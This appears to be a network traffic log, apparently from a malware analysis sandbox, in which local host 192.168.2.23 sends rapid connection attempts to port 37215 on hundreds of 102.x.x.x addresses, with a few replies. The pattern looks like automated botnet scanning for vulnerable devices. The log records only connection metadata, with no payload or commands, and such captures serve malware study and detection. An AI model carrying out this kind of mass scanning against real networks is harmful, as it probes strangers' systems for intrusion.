Feb 20, 2022 15:51:00.784635067 CET	1386	37215	192.168.2.23	102.188.241.20
Feb 20, 2022 15:51:00.784655094 CET	1386	37215	192.168.2.23	102.220.76.19
Feb 20, 2022 15:51:00.784657955 CET	1386	37215	192.168.2.23	102.66.159.247
Feb 20, 2022 15:51:00.784697056 CET	1386	37215	192.168.2.23	102.209.76.93
Feb 20, 2022 15:51:00.784698009 CET	1386	37215	192.168.2.23	102.204.241.18
Feb 20, 2022 15:51:00.784713030 CET	1386	37215	192.168.2.23	102.152.62.138
Feb 20, 2022 15:51:00.784729004 CET	1386	37215	192.168.2.23	102.199.119.9
Feb 20, 2022 15:51:00.784753084 CET	1386	37215	192.168.2.23	102.3.244.208
Feb 20, 2022 15:51:00.784769058 CET	1386	37215	192.168.2.23	102.126.20.16
Feb 20, 2022 15:51:00.784796953 CET	1386	37215	192.168.2.23	102.166.179.109
Feb 20, 2022 15:51:00.784811020 CET	1386	37215	192.168.2.23	102.236.25.25
Feb 20, 2022 15:51:00.784825087 CET	1386	37215	192.168.2.23	102.201.55.130
Feb 20, 2022 15:51:00.784853935 CET	1386	37215	192.168.2.23	102.210.22.148
Feb 20, 2022 15:51:00.784874916 CET	1386	37215	192.168.2.23	102.140.19.222
Feb 20, 2022 15:51:00.784895897 CET	1386	37215	192.168.2.23	102.146.59.124
Feb 20, 2022 15:51:00.784933090 CET	1386	37215	192.168.2.23	102.49.209.72
Feb 20, 2022 15:51:00.784939051 CET	1386	37215	192.168.2.23	102.9.141.111
Feb 20, 2022 15:51:00.784975052 CET	1386	37215	192.168.2.23	102.171.106.121
Feb 20, 2022 15:51:00.784995079 CET	1386	37215	192.168.2.23	102.43.75.122
Feb 20, 2022 15:51:00.785002947 CET	1386	37215	192.168.2.23	102.250.252.149
Feb 20, 2022 15:51:00.785026073 CET	1386	37215	192.168.2.23	102.107.40.91
Feb 20, 2022 15:51:00.785043001 CET	1386	37215	192.168.2.23	102.171.205.253
Feb 20, 2022 15:51:00.785053968 CET	1386	37215	192.168.2.23	102.244.241.57
Feb 20, 2022 15:51:00.785077095 CET	1386	37215	192.168.2.23	102.115.124.182
Feb 20, 2022 15:51:00.785104990 CET	1386	37215	192.168.2.23	102.21.118.216
Feb 20, 2022 15:51:00.785120010 CET	1386	37215	192.168.2.23	102.240.25.85
Feb 20, 2022 15:51:00.785139084 CET	1386	37215	192.168.2.23	102.198.180.202
Feb 20, 2022 15:51:00.785167933 CET	1386	37215	192.168.2.23	102.82.39.34
Feb 20, 2022 15:51:00.785185099 CET	1386	37215	192.168.2.23	102.89.53.218
Feb 20, 2022 15:51:00.785214901 CET	1386	37215	192.168.2.23	102.74.0.113
Feb 20, 2022 15:51:00.785222054 CET	1386	37215	192.168.2.23	102.152.102.114
Feb 20, 2022 15:51:00.785239935 CET	1386	37215	192.168.2.23	102.133.237.54
Feb 20, 2022 15:51:00.785267115 CET	1386	37215	192.168.2.23	102.152.157.20
Feb 20, 2022 15:51:00.785278082 CET	1386	37215	192.168.2.23	102.160.194.127
Feb 20, 2022 15:51:00.785327911 CET	1386	37215	192.168.2.23	102.196.93.178
Feb 20, 2022 15:51:00.785341978 CET	1386	37215	192.168.2.23	102.78.3.11
Feb 20, 2022 15:51:00.785347939 CET	1386	37215	192.168.2.23	102.48.49.73
Feb 20, 2022 15:51:00.785361052 CET	1386	37215	192.168.2.23	102.203.125.121
Feb 20, 2022 15:51:00.785387993 CET	1386	37215	192.168.2.23	102.37.45.73
Feb 20, 2022 15:51:00.785419941 CET	1386	37215	192.168.2.23	102.24.182.50
Feb 20, 2022 15:51:00.785423040 CET	1386	37215	192.168.2.23	102.177.11.99
Feb 20, 2022 15:51:00.785448074 CET	1386	37215	192.168.2.23	102.64.42.65
Feb 20, 2022 15:51:00.785458088 CET	1386	37215	192.168.2.23	102.43.132.106
Feb 20, 2022 15:51:00.785487890 CET	1386	37215	192.168.2.23	102.22.162.89
Feb 20, 2022 15:51:00.785521984 CET	1386	37215	192.168.2.23	102.206.137.177
Feb 20, 2022 15:51:00.785548925 CET	1386	37215	192.168.2.23	102.76.16.170
Feb 20, 2022 15:51:00.785568953 CET	1386	37215	192.168.2.23	102.164.240.53
Feb 20, 2022 15:51:00.785574913 CET	1386	37215	192.168.2.23	102.44.112.67
Feb 20, 2022 15:51:00.785604000 CET	1386	37215	192.168.2.23	102.22.211.229
Feb 20, 2022 15:51:00.785612106 CET	1386	37215	192.168.2.23	102.174.4.180
Feb 20, 2022 15:51:00.785646915 CET	1386	37215	192.168.2.23	102.211.168.202
Feb 20, 2022 15:51:00.785650015 CET	1386	37215	192.168.2.23	102.32.90.123
Feb 20, 2022 15:51:00.785667896 CET	1386	37215	192.168.2.23	102.193.86.103
Feb 20, 2022 15:51:00.785706997 CET	1386	37215	192.168.2.23	102.74.135.206
Feb 20, 2022 15:51:00.785721064 CET	1386	37215	192.168.2.23	102.65.2.220
Feb 20, 2022 15:51:00.785729885 CET	1386	37215	192.168.2.23	102.111.94.175
Feb 20, 2022 15:51:00.785768032 CET	1386	37215	192.168.2.23	102.156.206.218
Feb 20, 2022 15:51:00.785804987 CET	1386	37215	192.168.2.23	102.193.113.19
Feb 20, 2022 15:51:00.785811901 CET	1386	37215	192.168.2.23	102.241.136.143
Feb 20, 2022 15:51:00.785823107 CET	1386	37215	192.168.2.23	102.190.157.42
Feb 20, 2022 15:51:00.785855055 CET	1386	37215	192.168.2.23	102.233.122.5
Feb 20, 2022 15:51:00.785857916 CET	1386	37215	192.168.2.23	102.179.228.147
Feb 20, 2022 15:51:00.785891056 CET	1386	37215	192.168.2.23	102.83.245.137
Feb 20, 2022 15:51:00.785912991 CET	1386	37215	192.168.2.23	102.52.230.32
Feb 20, 2022 15:51:00.785916090 CET	1386	37215	192.168.2.23	102.3.172.85
Feb 20, 2022 15:51:00.785928011 CET	1386	37215	192.168.2.23	102.237.4.163
Feb 20, 2022 15:51:00.785953999 CET	1386	37215	192.168.2.23	102.110.236.57
Feb 20, 2022 15:51:00.785976887 CET	1386	37215	192.168.2.23	102.184.130.101
Feb 20, 2022 15:51:00.786010027 CET	1386	37215	192.168.2.23	102.114.207.104
Feb 20, 2022 15:51:00.786021948 CET	1386	37215	192.168.2.23	102.250.9.173
Feb 20, 2022 15:51:00.786034107 CET	37215	1386	102.28.30.189	192.168.2.23
Feb 20, 2022 15:51:00.786041975 CET	1386	37215	192.168.2.23	102.5.67.219
Feb 20, 2022 15:51:00.786065102 CET	1386	37215	192.168.2.23	102.46.158.52
Feb 20, 2022 15:51:00.786077976 CET	1386	37215	192.168.2.23	102.83.131.110
Feb 20, 2022 15:51:00.786094904 CET	1386	37215	192.168.2.23	102.202.10.104
Feb 20, 2022 15:51:00.786144018 CET	1386	37215	192.168.2.23	102.246.255.196
Feb 20, 2022 15:51:00.786145926 CET	1386	37215	192.168.2.23	102.234.35.85
Feb 20, 2022 15:51:00.786178112 CET	1386	37215	192.168.2.23	102.26.240.102
Feb 20, 2022 15:51:00.786200047 CET	1386	37215	192.168.2.23	102.43.99.67
Feb 20, 2022 15:51:00.786205053 CET	1386	37215	192.168.2.23	102.64.91.221
Feb 20, 2022 15:51:00.786220074 CET	1386	37215	192.168.2.23	102.38.226.73
Feb 20, 2022 15:51:00.786245108 CET	1386	37215	192.168.2.23	102.112.152.138
Feb 20, 2022 15:51:00.786267042 CET	1386	37215	192.168.2.23	102.108.249.252
Feb 20, 2022 15:51:00.786278963 CET	1386	37215	192.168.2.23	102.184.85.27
Feb 20, 2022 15:51:00.786309958 CET	1386	37215	192.168.2.23	102.134.85.2
Feb 20, 2022 15:51:00.786319971 CET	1386	37215	192.168.2.23	102.10.87.224
Feb 20, 2022 15:51:00.786338091 CET	1386	37215	192.168.2.23	102.76.103.160
Feb 20, 2022 15:51:00.786375999 CET	1386	37215	192.168.2.23	102.244.144.38
Feb 20, 2022 15:51:00.786380053 CET	1386	37215	192.168.2.23	102.70.184.203
Feb 20, 2022 15:51:00.786408901 CET	1386	37215	192.168.2.23	102.153.81.103
Feb 20, 2022 15:51:00.786421061 CET	1386	37215	192.168.2.23	102.6.55.16
Feb 20, 2022 15:51:00.786468983 CET	1386	37215	192.168.2.23	102.107.133.51
Feb 20, 2022 15:51:00.786469936 CET	1386	37215	192.168.2.23	102.234.232.7
Feb 20, 2022 15:51:00.786501884 CET	1386	37215	192.168.2.23	102.157.36.110
Feb 20, 2022 15:51:00.786503077 CET	1386	37215	192.168.2.23	102.162.72.174
Feb 20, 2022 15:51:00.786519051 CET	1386	37215	192.168.2.23	102.41.11.32
Feb 20, 2022 15:51:00.786571980 CET	1386	37215	192.168.2.23	102.169.62.62
Feb 20, 2022 15:51:00.786572933 CET	1386	37215	192.168.2.23	102.224.166.83
Feb 20, 2022 15:51:00.786598921 CET	1386	37215	192.168.2.23	102.2.225.25
Feb 20, 2022 15:51:00.786604881 CET	1386	37215	192.168.2.23	102.206.202.152
Feb 20, 2022 15:51:00.786631107 CET	1386	37215	192.168.2.23	102.190.189.140
Feb 20, 2022 15:51:00.786644936 CET	1386	37215	192.168.2.23	102.192.2.203
Feb 20, 2022 15:51:00.786664963 CET	1386	37215	192.168.2.23	102.140.113.210
Feb 20, 2022 15:51:00.786683083 CET	1386	37215	192.168.2.23	102.44.203.170
Feb 20, 2022 15:51:00.786727905 CET	1386	37215	192.168.2.23	102.28.82.131
Feb 20, 2022 15:51:00.786731005 CET	1386	37215	192.168.2.23	102.82.207.150
Feb 20, 2022 15:51:00.786742926 CET	1386	37215	192.168.2.23	102.45.91.134
Feb 20, 2022 15:51:00.786761999 CET	1386	37215	192.168.2.23	102.237.189.133
Feb 20, 2022 15:51:00.786788940 CET	1386	37215	192.168.2.23	102.8.58.218
Feb 20, 2022 15:51:00.786803961 CET	1386	37215	192.168.2.23	102.32.35.225
Feb 20, 2022 15:51:00.786823988 CET	1386	37215	192.168.2.23	102.18.196.196
Feb 20, 2022 15:51:00.786845922 CET	1386	37215	192.168.2.23	102.61.36.95
Feb 20, 2022 15:51:00.786891937 CET	1386	37215	192.168.2.23	102.49.70.195
Feb 20, 2022 15:51:00.786896944 CET	1386	37215	192.168.2.23	102.183.131.228
Feb 20, 2022 15:51:00.786921024 CET	1386	37215	192.168.2.23	102.111.224.142
Feb 20, 2022 15:51:00.786955118 CET	1386	37215	192.168.2.23	102.216.242.128
Feb 20, 2022 15:51:00.786969900 CET	1386	37215	192.168.2.23	102.27.15.104
Feb 20, 2022 15:51:00.786990881 CET	1386	37215	192.168.2.23	102.39.185.136
Feb 20, 2022 15:51:00.787015915 CET	1386	37215	192.168.2.23	102.202.120.140
Feb 20, 2022 15:51:00.787022114 CET	1386	37215	192.168.2.23	102.163.236.170
Feb 20, 2022 15:51:00.787050962 CET	1386	37215	192.168.2.23	102.77.120.203
Feb 20, 2022 15:51:00.787058115 CET	1386	37215	192.168.2.23	102.202.177.177
Feb 20, 2022 15:51:00.787090063 CET	1386	37215	192.168.2.23	102.169.61.149
Feb 20, 2022 15:51:00.787096977 CET	1386	37215	192.168.2.23	102.14.234.169
Feb 20, 2022 15:51:00.787122011 CET	1386	37215	192.168.2.23	102.180.206.111
Feb 20, 2022 15:51:00.787137985 CET	1386	37215	192.168.2.23	102.55.94.170
Feb 20, 2022 15:51:00.787163019 CET	1386	37215	192.168.2.23	102.169.247.138
Feb 20, 2022 15:51:00.787197113 CET	1386	37215	192.168.2.23	102.219.130.76
Feb 20, 2022 15:51:00.787203074 CET	1386	37215	192.168.2.23	102.57.207.218
Feb 20, 2022 15:51:00.787235975 CET	1386	37215	192.168.2.23	102.159.62.26
Feb 20, 2022 15:51:00.787257910 CET	1386	37215	192.168.2.23	102.69.192.102
Feb 20, 2022 15:51:00.787278891 CET	1386	37215	192.168.2.23	102.239.174.214
Feb 20, 2022 15:51:00.787281990 CET	1386	37215	192.168.2.23	102.79.153.116
Feb 20, 2022 15:51:00.787322998 CET	1386	37215	192.168.2.23	102.78.88.144
Feb 20, 2022 15:51:00.787324905 CET	1386	37215	192.168.2.23	102.137.40.0
Feb 20, 2022 15:51:00.787352085 CET	1386	37215	192.168.2.23	102.215.187.12
Feb 20, 2022 15:51:00.787360907 CET	1386	37215	192.168.2.23	102.200.122.20
Feb 20, 2022 15:51:00.787391901 CET	1386	37215	192.168.2.23	102.39.237.187
Feb 20, 2022 15:51:00.787394047 CET	1386	37215	192.168.2.23	102.233.54.201
Feb 20, 2022 15:51:00.787415028 CET	1386	37215	192.168.2.23	102.189.116.151
Feb 20, 2022 15:51:00.787458897 CET	1386	37215	192.168.2.23	102.241.170.88
Feb 20, 2022 15:51:00.787461042 CET	1386	37215	192.168.2.23	102.141.148.179
Feb 20, 2022 15:51:00.787482023 CET	1386	37215	192.168.2.23	102.254.226.4
Feb 20, 2022 15:51:00.787498951 CET	1386	37215	192.168.2.23	102.198.104.123
Feb 20, 2022 15:51:00.787511110 CET	1386	37215	192.168.2.23	102.191.80.34
Feb 20, 2022 15:51:00.787530899 CET	1386	37215	192.168.2.23	102.70.183.98
Feb 20, 2022 15:51:00.787569046 CET	1386	37215	192.168.2.23	102.118.188.68
Feb 20, 2022 15:51:00.787583113 CET	1386	37215	192.168.2.23	102.250.161.121
Feb 20, 2022 15:51:00.787611008 CET	1386	37215	192.168.2.23	102.216.111.153
Feb 20, 2022 15:51:00.787636995 CET	1386	37215	192.168.2.23	102.101.7.85
Feb 20, 2022 15:51:00.787643909 CET	1386	37215	192.168.2.23	102.9.189.141
Feb 20, 2022 15:51:00.787662983 CET	1386	37215	192.168.2.23	102.24.46.56
Feb 20, 2022 15:51:00.787695885 CET	1386	37215	192.168.2.23	102.134.14.182
Feb 20, 2022 15:51:00.787728071 CET	1386	37215	192.168.2.23	102.68.47.34
Feb 20, 2022 15:51:00.787730932 CET	1386	37215	192.168.2.23	102.191.1.82
Feb 20, 2022 15:51:00.787767887 CET	1386	37215	192.168.2.23	102.252.156.120
Feb 20, 2022 15:51:00.787791967 CET	1386	37215	192.168.2.23	102.90.35.106
Feb 20, 2022 15:51:00.787791967 CET	1386	37215	192.168.2.23	102.76.122.57
Feb 20, 2022 15:51:00.787822962 CET	1386	37215	192.168.2.23	102.251.102.124
Feb 20, 2022 15:51:00.787827015 CET	1386	37215	192.168.2.23	102.83.231.244
Feb 20, 2022 15:51:00.787842035 CET	1386	37215	192.168.2.23	102.143.134.53
Feb 20, 2022 15:51:00.787866116 CET	1386	37215	192.168.2.23	102.246.243.72
Feb 20, 2022 15:51:00.787887096 CET	1386	37215	192.168.2.23	102.120.92.58
Feb 20, 2022 15:51:00.787923098 CET	1386	37215	192.168.2.23	102.37.228.196
Feb 20, 2022 15:51:00.787929058 CET	1386	37215	192.168.2.23	102.230.86.31
Feb 20, 2022 15:51:00.787946939 CET	1386	37215	192.168.2.23	102.182.140.112
Feb 20, 2022 15:51:00.787988901 CET	1386	37215	192.168.2.23	102.55.26.128
Feb 20, 2022 15:51:00.787993908 CET	1386	37215	192.168.2.23	102.171.5.39
Feb 20, 2022 15:51:00.788013935 CET	1386	37215	192.168.2.23	102.25.184.220
Feb 20, 2022 15:51:00.788048983 CET	1386	37215	192.168.2.23	102.83.47.159
Feb 20, 2022 15:51:00.788050890 CET	1386	37215	192.168.2.23	102.215.53.111
Feb 20, 2022 15:51:00.788085938 CET	1386	37215	192.168.2.23	102.215.95.171
Feb 20, 2022 15:51:00.788110018 CET	1386	37215	192.168.2.23	102.86.65.237
Feb 20, 2022 15:51:00.788127899 CET	1386	37215	192.168.2.23	102.126.210.119
Feb 20, 2022 15:51:00.788151026 CET	1386	37215	192.168.2.23	102.142.215.253
Feb 20, 2022 15:51:00.788177013 CET	1386	37215	192.168.2.23	102.65.197.8
Feb 20, 2022 15:51:00.788192987 CET	1386	37215	192.168.2.23	102.173.225.86
Feb 20, 2022 15:51:00.788194895 CET	1386	37215	192.168.2.23	102.77.247.249
Feb 20, 2022 15:51:00.788222075 CET	1386	37215	192.168.2.23	102.226.62.169
Feb 20, 2022 15:51:00.788240910 CET	1386	37215	192.168.2.23	102.46.243.246
Feb 20, 2022 15:51:00.788279057 CET	1386	37215	192.168.2.23	102.95.171.154
Feb 20, 2022 15:51:00.788285017 CET	1386	37215	192.168.2.23	102.108.187.84
Feb 20, 2022 15:51:00.788290024 CET	1386	37215	192.168.2.23	102.136.240.164
Feb 20, 2022 15:51:00.788307905 CET	1386	37215	192.168.2.23	102.191.196.189
Feb 20, 2022 15:51:00.788333893 CET	1386	37215	192.168.2.23	102.131.201.219
Feb 20, 2022 15:51:00.788367033 CET	1386	37215	192.168.2.23	102.36.190.220
Feb 20, 2022 15:51:00.788372993 CET	1386	37215	192.168.2.23	102.187.176.116
Feb 20, 2022 15:51:00.788395882 CET	1386	37215	192.168.2.23	102.25.113.238
Feb 20, 2022 15:51:00.788417101 CET	1386	37215	192.168.2.23	102.189.101.114
Feb 20, 2022 15:51:00.788443089 CET	1386	37215	192.168.2.23	102.124.116.250
Feb 20, 2022 15:51:00.788451910 CET	1386	37215	192.168.2.23	102.32.204.241
Feb 20, 2022 15:51:00.788495064 CET	1386	37215	192.168.2.23	102.161.227.138
Feb 20, 2022 15:51:00.788501024 CET	1386	37215	192.168.2.23	102.129.212.67
Feb 20, 2022 15:51:00.788538933 CET	1386	37215	192.168.2.23	102.111.17.244
Feb 20, 2022 15:51:00.788552046 CET	1386	37215	192.168.2.23	102.244.111.230
Feb 20, 2022 15:51:00.788568020 CET	1386	37215	192.168.2.23	102.168.16.162
Feb 20, 2022 15:51:00.788575888 CET	1386	37215	192.168.2.23	102.51.65.179
Feb 20, 2022 15:51:00.788616896 CET	1386	37215	192.168.2.23	102.137.27.62
Feb 20, 2022 15:51:00.788636923 CET	1386	37215	192.168.2.23	102.8.44.240
Feb 20, 2022 15:51:00.788639069 CET	1386	37215	192.168.2.23	102.211.42.243
Feb 20, 2022 15:51:00.788682938 CET	1386	37215	192.168.2.23	102.52.207.27
Feb 20, 2022 15:51:00.788695097 CET	1386	37215	192.168.2.23	102.33.59.125
Feb 20, 2022 15:51:00.788702965 CET	1386	37215	192.168.2.23	102.109.215.75
Feb 20, 2022 15:51:00.788727999 CET	1386	37215	192.168.2.23	102.163.66.127
Feb 20, 2022 15:51:00.788757086 CET	1386	37215	192.168.2.23	102.63.29.226
Feb 20, 2022 15:51:00.788764954 CET	1386	37215	192.168.2.23	102.64.92.224
Feb 20, 2022 15:51:00.788798094 CET	1386	37215	192.168.2.23	102.160.192.196
Feb 20, 2022 15:51:00.788808107 CET	1386	37215	192.168.2.23	102.108.154.23
Feb 20, 2022 15:51:00.788821936 CET	1386	37215	192.168.2.23	102.129.151.115
Feb 20, 2022 15:51:00.788857937 CET	1386	37215	192.168.2.23	102.142.176.101
Feb 20, 2022 15:51:00.788882971 CET	1386	37215	192.168.2.23	102.223.76.174
Feb 20, 2022 15:51:00.788897038 CET	1386	37215	192.168.2.23	102.208.103.120
Feb 20, 2022 15:51:00.788907051 CET	1386	37215	192.168.2.23	102.42.102.53
Feb 20, 2022 15:51:00.788924932 CET	1386	37215	192.168.2.23	102.30.223.40
Feb 20, 2022 15:51:00.788989067 CET	1386	37215	192.168.2.23	102.69.203.143
Feb 20, 2022 15:51:00.788991928 CET	1386	37215	192.168.2.23	102.221.117.248
Feb 20, 2022 15:51:00.789021015 CET	1386	37215	192.168.2.23	102.163.113.61
Feb 20, 2022 15:51:00.789024115 CET	1386	37215	192.168.2.23	102.119.48.13
Feb 20, 2022 15:51:00.789055109 CET	1386	37215	192.168.2.23	102.79.235.0
Feb 20, 2022 15:51:00.789067030 CET	1386	37215	192.168.2.23	102.75.103.65
Feb 20, 2022 15:51:00.789082050 CET	1386	37215	192.168.2.23	102.130.173.224
Feb 20, 2022 15:51:00.789110899 CET	1386	37215	192.168.2.23	102.187.46.174
Feb 20, 2022 15:51:00.789136887 CET	1386	37215	192.168.2.23	102.192.43.144
Feb 20, 2022 15:51:00.789146900 CET	1386	37215	192.168.2.23	102.146.192.231
Feb 20, 2022 15:51:00.789175034 CET	1386	37215	192.168.2.23	102.68.84.200
Feb 20, 2022 15:51:00.789207935 CET	1386	37215	192.168.2.23	102.133.133.162
Feb 20, 2022 15:51:00.789211988 CET	1386	37215	192.168.2.23	102.97.217.80
Feb 20, 2022 15:51:00.789248943 CET	1386	37215	192.168.2.23	102.73.227.107
Feb 20, 2022 15:51:00.789264917 CET	1386	37215	192.168.2.23	102.9.73.159
Feb 20, 2022 15:51:00.789290905 CET	1386	37215	192.168.2.23	102.107.92.40
Feb 20, 2022 15:51:00.789299965 CET	1386	37215	192.168.2.23	102.136.44.246
Feb 20, 2022 15:51:00.789309978 CET	1386	37215	192.168.2.23	102.130.174.112
Feb 20, 2022 15:51:00.789340973 CET	1386	37215	192.168.2.23	102.26.25.243
Feb 20, 2022 15:51:00.789346933 CET	1386	37215	192.168.2.23	102.7.79.152
Feb 20, 2022 15:51:00.789367914 CET	1386	37215	192.168.2.23	102.89.115.11
Feb 20, 2022 15:51:00.789395094 CET	1386	37215	192.168.2.23	102.68.36.200
Feb 20, 2022 15:51:00.789407969 CET	1386	37215	192.168.2.23	102.183.211.78
Feb 20, 2022 15:51:00.789436102 CET	1386	37215	192.168.2.23	102.105.55.31
Feb 20, 2022 15:51:00.789469004 CET	1386	37215	192.168.2.23	102.87.150.203
Feb 20, 2022 15:51:00.789473057 CET	1386	37215	192.168.2.23	102.227.151.95
Feb 20, 2022 15:51:00.789486885 CET	1386	37215	192.168.2.23	102.199.7.105
Feb 20, 2022 15:51:00.789511919 CET	1386	37215	192.168.2.23	102.112.168.43
Feb 20, 2022 15:51:00.789535999 CET	1386	37215	192.168.2.23	102.71.167.210
Feb 20, 2022 15:51:00.789570093 CET	1386	37215	192.168.2.23	102.22.68.84
Feb 20, 2022 15:51:00.789586067 CET	1386	37215	192.168.2.23	102.207.239.25
Feb 20, 2022 15:51:00.789593935 CET	1386	37215	192.168.2.23	102.20.255.106
Feb 20, 2022 15:51:00.789608002 CET	1386	37215	192.168.2.23	102.18.240.88
Feb 20, 2022 15:51:00.789649010 CET	1386	37215	192.168.2.23	102.229.22.128
Feb 20, 2022 15:51:00.789663076 CET	1386	37215	192.168.2.23	102.95.217.199
Feb 20, 2022 15:51:00.789690018 CET	1386	37215	192.168.2.23	102.236.65.41
Feb 20, 2022 15:51:00.789693117 CET	1386	37215	192.168.2.23	102.90.109.48
Feb 20, 2022 15:51:00.789710999 CET	1386	37215	192.168.2.23	102.155.233.97
Feb 20, 2022 15:51:00.789731026 CET	1386	37215	192.168.2.23	102.178.189.63
Feb 20, 2022 15:51:00.789756060 CET	1386	37215	192.168.2.23	102.77.254.114
Feb 20, 2022 15:51:00.789772034 CET	1386	37215	192.168.2.23	102.54.151.111
Feb 20, 2022 15:51:00.789789915 CET	1386	37215	192.168.2.23	102.184.8.174
Feb 20, 2022 15:51:00.789810896 CET	1386	37215	192.168.2.23	102.106.25.130
Feb 20, 2022 15:51:00.789829016 CET	1386	37215	192.168.2.23	102.34.205.171
Feb 20, 2022 15:51:00.789872885 CET	1386	37215	192.168.2.23	102.114.127.200
Feb 20, 2022 15:51:00.789894104 CET	1386	37215	192.168.2.23	102.118.251.74
Feb 20, 2022 15:51:00.789913893 CET	1386	37215	192.168.2.23	102.223.105.37
Feb 20, 2022 15:51:00.789917946 CET	1386	37215	192.168.2.23	102.225.199.104
Feb 20, 2022 15:51:00.789933920 CET	1386	37215	192.168.2.23	102.151.222.173
Feb 20, 2022 15:51:00.789956093 CET	1386	37215	192.168.2.23	102.169.168.54
Feb 20, 2022 15:51:00.789975882 CET	1386	37215	192.168.2.23	102.54.37.109
Feb 20, 2022 15:51:00.790002108 CET	1386	37215	192.168.2.23	102.159.253.218
Feb 20, 2022 15:51:00.790030956 CET	1386	37215	192.168.2.23	102.111.28.64
Feb 20, 2022 15:51:00.790033102 CET	1386	37215	192.168.2.23	102.72.194.158
Feb 20, 2022 15:51:00.790075064 CET	1386	37215	192.168.2.23	102.149.226.246
Feb 20, 2022 15:51:00.790086985 CET	1386	37215	192.168.2.23	102.90.7.95
Feb 20, 2022 15:51:00.790097952 CET	1386	37215	192.168.2.23	102.79.89.100
Feb 20, 2022 15:51:00.790117979 CET	1386	37215	192.168.2.23	102.43.69.178
Feb 20, 2022 15:51:00.790139914 CET	1386	37215	192.168.2.23	102.83.45.92
Feb 20, 2022 15:51:00.790179968 CET	1386	37215	192.168.2.23	102.67.215.16
Feb 20, 2022 15:51:00.790199995 CET	1386	37215	192.168.2.23	102.239.13.210
Feb 20, 2022 15:51:00.790208101 CET	1386	37215	192.168.2.23	102.123.189.149
Feb 20, 2022 15:51:00.790221930 CET	1386	37215	192.168.2.23	102.199.3.173
Feb 20, 2022 15:51:00.790251017 CET	1386	37215	192.168.2.23	102.113.203.72
Feb 20, 2022 15:51:00.790260077 CET	1386	37215	192.168.2.23	102.24.117.203
Feb 20, 2022 15:51:00.790297985 CET	1386	37215	192.168.2.23	102.212.111.186
Feb 20, 2022 15:51:00.790313005 CET	1386	37215	192.168.2.23	102.199.69.61
Feb 20, 2022 15:51:00.790327072 CET	1386	37215	192.168.2.23	102.29.20.40
Feb 20, 2022 15:51:00.790353060 CET	1386	37215	192.168.2.23	102.69.116.194
Feb 20, 2022 15:51:00.790371895 CET	1386	37215	192.168.2.23	102.140.29.86
Feb 20, 2022 15:51:00.790400982 CET	1386	37215	192.168.2.23	102.39.119.49
Feb 20, 2022 15:51:00.790417910 CET	1386	37215	192.168.2.23	102.174.18.231
Feb 20, 2022 15:51:00.790431023 CET	1386	37215	192.168.2.23	102.211.55.149
Feb 20, 2022 15:51:00.790443897 CET	1386	37215	192.168.2.23	102.49.117.110
Feb 20, 2022 15:51:00.790488958 CET	1386	37215	192.168.2.23	102.173.199.67
Feb 20, 2022 15:51:00.790493011 CET	1386	37215	192.168.2.23	102.2.148.205
Feb 20, 2022 15:51:00.790508986 CET	1386	37215	192.168.2.23	102.228.75.98
Feb 20, 2022 15:51:00.790539026 CET	1386	37215	192.168.2.23	102.185.197.80
Feb 20, 2022 15:51:00.790561914 CET	1386	37215	192.168.2.23	102.105.242.67
Feb 20, 2022 15:51:00.790572882 CET	1386	37215	192.168.2.23	102.231.110.191
Feb 20, 2022 15:51:00.790591955 CET	1386	37215	192.168.2.23	102.140.48.1
Feb 20, 2022 15:51:00.790604115 CET	1386	37215	192.168.2.23	102.220.95.196
Feb 20, 2022 15:51:00.790647030 CET	1386	37215	192.168.2.23	102.69.89.74
Feb 20, 2022 15:51:00.790649891 CET	1386	37215	192.168.2.23	102.14.121.105
Feb 20, 2022 15:51:00.790664911 CET	1386	37215	192.168.2.23	102.137.47.104
Feb 20, 2022 15:51:00.790709019 CET	1386	37215	192.168.2.23	102.187.237.175
Feb 20, 2022 15:51:00.790713072 CET	1386	37215	192.168.2.23	102.18.21.78
Feb 20, 2022 15:51:00.790739059 CET	1386	37215	192.168.2.23	102.240.57.136
Feb 20, 2022 15:51:00.790766954 CET	1386	37215	192.168.2.23	102.182.193.211
Feb 20, 2022 15:51:00.790791988 CET	1386	37215	192.168.2.23	102.34.45.156
Feb 20, 2022 15:51:00.790791988 CET	1386	37215	192.168.2.23	102.125.78.18
Feb 20, 2022 15:51:00.790827036 CET	1386	37215	192.168.2.23	102.226.3.77
Feb 20, 2022 15:51:00.790843964 CET	1386	37215	192.168.2.23	102.199.253.7
Feb 20, 2022 15:51:00.790851116 CET	1386	37215	192.168.2.23	102.140.232.253
Feb 20, 2022 15:51:00.790869951 CET	37215	1386	102.153.194.31	192.168.2.23
Feb 20, 2022 15:51:00.790879965 CET	1386	37215	192.168.2.23	102.26.179.194
Feb 20, 2022 15:51:00.790879965 CET	1386	37215	192.168.2.23	102.240.212.113
Feb 20, 2022 15:51:00.790909052 CET	1386	37215	192.168.2.23	102.153.194.31
Feb 20, 2022 15:51:00.790934086 CET	1386	37215	192.168.2.23	102.45.220.152
Feb 20, 2022 15:51:00.790960073 CET	1386	37215	192.168.2.23	102.235.30.121
Feb 20, 2022 15:51:00.790966034 CET	1386	37215	192.168.2.23	102.190.131.178
Feb 20, 2022 15:51:00.790996075 CET	1386	37215	192.168.2.23	102.32.146.141
Feb 20, 2022 15:51:00.791018009 CET	1386	37215	192.168.2.23	102.140.150.181
Feb 20, 2022 15:51:00.791022062 CET	1386	37215	192.168.2.23	102.144.60.236
Feb 20, 2022 15:51:00.791045904 CET	1386	37215	192.168.2.23	102.145.121.112
Feb 20, 2022 15:51:00.791064024 CET	1386	37215	192.168.2.23	102.94.61.245
Feb 20, 2022 15:51:00.791105032 CET	1386	37215	192.168.2.23	102.114.10.35
Feb 20, 2022 15:51:00.791120052 CET	1386	37215	192.168.2.23	102.66.39.166
Feb 20, 2022 15:51:00.791127920 CET	1386	37215	192.168.2.23	102.142.78.209
Feb 20, 2022 15:51:00.791151047 CET	1386	37215	192.168.2.23	102.91.241.88
Feb 20, 2022 15:51:00.791182041 CET	1386	37215	192.168.2.23	102.184.58.176
Feb 20, 2022 15:51:00.791193008 CET	1386	37215	192.168.2.23	102.88.220.141
Feb 20, 2022 15:51:00.791224957 CET	1386	37215	192.168.2.23	102.156.17.232
Feb 20, 2022 15:51:00.791225910 CET	37215	1386	102.153.194.31	192.168.2.23
Feb 20, 2022 15:51:00.791230917 CET	1386	37215	192.168.2.23	102.51.174.245
Feb 20, 2022 15:51:00.791255951 CET	1386	37215	192.168.2.23	102.3.20.81
Feb 20, 2022 15:51:00.791271925 CET	1386	37215	192.168.2.23	102.48.247.167
Feb 20, 2022 15:51:00.791290998 CET	1386	37215	192.168.2.23	102.127.45.137
Feb 20, 2022 15:51:00.791326046 CET	1386	37215	192.168.2.23	102.153.152.117
